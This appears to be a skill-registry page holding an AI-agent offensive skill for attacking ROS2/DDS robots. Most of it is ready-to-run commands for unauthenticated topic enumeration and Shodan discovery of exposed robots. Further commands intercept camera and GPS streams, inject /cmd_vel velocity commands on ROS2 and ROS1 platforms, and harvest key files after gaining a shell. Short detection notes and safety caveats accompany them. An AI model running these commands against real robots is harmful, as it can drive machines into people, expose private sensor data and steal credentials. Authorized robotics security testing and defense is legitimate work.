ROS2/DDS network attack: unauthenticated topic enumeration, message injection, and telemetry interception against robotic platforms and autonomous systems.
59
68%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/iot/ros2-dds-attack/SKILL.mdAuthorized use only. ROS2 engagement requires explicit RoE scoping the robot platform as in-scope. Message injection on a live robot can cause physical harm. Confirm
safety_critical_confirmed=truein the active OPPLAN before any publish/inject step.
ROS2 (Robot Operating System 2) uses DDS (Data Distribution Service) as its transport layer. By default, DDS operates in multicast discovery mode on the local network segment with no authentication and no encryption. Any host on the same subnet can enumerate all nodes and topics, subscribe to sensor streams, and publish commands to actuators. CAI's research on the Unitree G1 humanoid robot (2025) confirmed 20+ exposed ROS2/DDS topics carrying audio, video, GPS, and motor telemetry over an unauthenticated DDS domain.
ROS2 DDS discovery uses UDP multicast (239.255.0.1, port 7400 by default for Fast-DDS; 239.255.0.2 for CycloneDDS). The attacker machine must be on the same Layer-2 segment or the network must pass multicast.
# Verify multicast reachability
ip route show | grep -i multicast
ping -c 3 239.255.0.1
# Passive DDS traffic capture (identify domain IDs in use)
sudo tshark -i <iface> -Y rtps -T fields \
-e ip.src -e ip.dst -e rtps.domain_id -e rtps.guid_prefix \
-l 2>/dev/null | sort -u | head -40If the attacker can install ros2 CLI tools (available in a Docker container
on the attacker host — no robot-side access required):
# Pull a minimal ROS2 humble image
docker run --rm --net=host \
ros:humble \
bash -c "source /opt/ros/humble/setup.bash && ros2 node list && ros2 topic list -t"Without Docker, use the raw DDS discovery sniffer ddsspy or rtpspy:
# rclpy-based passive enumeration (Python, no ROS2 install on attacker)
pip install cyclonedds # pure-Python DDS implementation
python3 - <<'EOF'
import cyclonedds.core, cyclonedds.domain, cyclonedds.topic
import time
dp = cyclonedds.domain.Domain(0) # domain_id=0 is default
sub = cyclonedds.core.Subscriber(dp)
# List discovered topics after 10s passive window
time.sleep(10)
for t in dp.lookup_topicdescriptions():
print(t.name, t.type_name)
EOFShodan indexes open DDS / RTPS ports. Query for exposed ROS2 stacks reachable from the Internet (rare but documented in robotics fleets):
shodan search 'port:7400 product:"RTPS"'Subscribe to any topic without credentials:
docker run --rm --net=host ros:humble \
bash -c "source /opt/ros/humble/setup.bash && \
ros2 topic echo /camera/image_raw --no-arr | head -50"
# Capture raw DDS traffic for offline analysis
sudo tcpdump -i <iface> -w /tmp/ros2_capture.pcap \
'udp and (port 7400 or port 7401 or portrange 7410-7500)'Topics of particular interest on robotic platforms:
| Topic pattern | Content |
|---|---|
/cmd_vel | Velocity commands (Twist msg — direct actuator control) |
/joint_states | Motor encoder data |
/camera/* | Camera streams |
/gps/fix or /NavSatFix | GPS telemetry |
/rosout | System log (reveals software versions, errors) |
/tf / /tf_static | Coordinate transform tree (reveals robot geometry) |
/diagnostics | Hardware diagnostics |
STOP. Confirm
safety_critical_confirmed=true+ operator signature at/workspace/safety-attestation.txtbefore executing any publish command. A single malformed/cmd_velcan drive a robot into a person or off a ledge.
# Publish a zero-velocity stop command (safest inject for PoC)
docker run --rm --net=host ros:humble \
bash -c "source /opt/ros/humble/setup.bash && \
ros2 topic pub --once /cmd_vel geometry_msgs/msg/Twist \
'{linear: {x: 0.0}, angular: {z: 0.0}}'"
# For full PoC with a non-zero command (requires explicit PoC approval):
# ros2 topic pub --once /cmd_vel geometry_msgs/msg/Twist \
# '{linear: {x: 0.1}, angular: {z: 0.0}}'MiR robots run ROS1 (not ROS2). The attack surface is the same but uses
rostopic / rosnode instead of ros2:
export ROS_MASTER_URI=http://<robot_ip>:11311
export ROS_IP=<attacker_ip>
rostopic list
rostopic echo /robot_state
# Inject alarm trigger
rostopic pub /mir_cmd_vel geometry_msgs/Twist '{linear: {x: 0.0}}'CAI's Unitree G1 research found:
chmod 666)After gaining shell access (via BLE command injection or SSH with hardcoded credentials from firmware extraction):
# Find overpermissioned key material
find / -name "*.pem" -o -name "*.key" -o -name "id_rsa" 2>/dev/null | \
xargs ls -la 2>/dev/null | grep -E 'rw.rw.rw|666|777'
# Extract MQTT backhaul targets from running processes
ss -tnp | grep -E ':1883|:8883|:17883'
strings /proc/$(pgrep -f mqtt)/exe 2>/dev/null | grep -E 'mqtt|broker|topic'
# Dump ROS2 security config (if SROS2 is configured — often misconfigured)
find / -name "*.xml" -path "*/security/*" 2>/dev/null
cat /ros2_ws/install/*/share/*/keystore/enclaves/**/*.pem 2>/dev/null| Technique | ID | Notes |
|---|---|---|
| Network Sniffing | T1040 | Passive DDS/RTPS traffic capture |
| Man in the Middle | T0830 | DDS domain participant impersonation |
| Modify Control Logic | T0856 | /cmd_vel injection |
| Unauthorized Command Message | T0855 | ROS topic publish without auth |
| Network DoS | T1499 | Flood /cmd_vel to cause E-stop |
| Hardcoded Credentials | T1552.001 | Keys in world-writable files |
/cmd_vel publish from a source other than the authorized control node.ros2 topic list queries from an IP outside the robot's operational subnet.Sigma rule target: process auditing on the robot's companion computer for
ros2 topic pub invocations with unexpected source IPs in the RTPS participant
announcements.
design.ros2.org/articles/ros2_dds_security.htmldocs.ros.org/en/rolling/Tutorials/Advanced/Security31e1c8e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.